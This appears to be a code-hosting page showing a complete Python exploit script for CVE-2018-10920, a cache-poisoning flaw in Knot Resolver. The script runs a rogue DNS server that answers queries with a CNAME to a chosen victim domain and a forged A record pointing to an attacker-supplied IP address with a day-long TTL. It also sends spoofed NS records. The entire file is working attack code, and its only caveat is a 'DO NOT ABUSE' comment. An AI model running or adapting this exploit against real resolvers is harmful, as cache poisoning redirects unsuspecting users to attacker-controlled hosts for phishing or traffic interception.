/
CVE-2018-10920.py
79 lines (58 loc) · 2.38 KB
/
CVE-2018-10920.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/local/bin/python3.6
#CVE-2018-10920 exploit.
#DO NOT ABUSE !!!
import socket, sys
#pip install dnslib
from dnslib import RR, DNSHeader, DNSRecord, QTYPE, CNAME, NS, A
class KnotSpoofer():
def __init__(self, ipaddr, vic_name, fakeip):
self.host = ipaddr
self.port = 53
self.vic_name = vic_name
self.fakeip = fakeip
def run(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((self.host, self.port))
print("[+] KnotSpoofer Started.")
while True:
msg, (cliHost, cliPort) = sock.recvfrom(8096)
print(" [+] Received DNS Packet. Client:" + str(cliHost) + ":" + str(cliPort))
responseData = self.craftPayload(msg)
if responseData is not None:
sock.sendto(responseData, (cliHost, cliPort))
def craftPayload(self, msg):
query = DNSRecord.parse(msg)
response = query.reply()
qname = query.q.qname
vic_name = self.vic_name
fakeip = self.fakeip
if query.q.qtype == QTYPE.NS:
print("[+] required NS record.")
assert_ns = RR(qname, QTYPE.NS, ttl=60, rdata=NS("ns.%s" % qname))
response.add_answer(assert_ns)
elif query.q.qtype == QTYPE.A:
print("[+] required any A record.")
cnamerr = RR(qname, QTYPE.CNAME, ttl=60, rdata=CNAME(vic_name))
fakea = RR(vic_name, QTYPE.A, ttl=86400, rdata=A(fakeip))
response.add_answer(cnamerr)
response.add_answer(fakea)
if response.__class__.__name__ == "DNSRecord":
print("[!] Debug: print reply data")
print("===============================")
print(response)
print("===============================")
return response.pack()
else:
return None
if __name__ == '__main__':
print("-----------------------------------------------")
print("Knot Reslver Kashpureff Exploit(CVE-2018-10920)")
print("-----------------------------------------------")
if len(sys.argv) < 3:
print("[+] Usage: %s [victim.com.] [Fake A Record IPAddr]" % sys.argv[0])
print("[!] You can inject only the sibling domain which the queried domain.")
sys.exit()
vic_name = sys.argv[1]
fakeip = sys.argv[2]
srv = KnotSpoofer("0.0.0.0", vic_name, fakeip)
srv.run()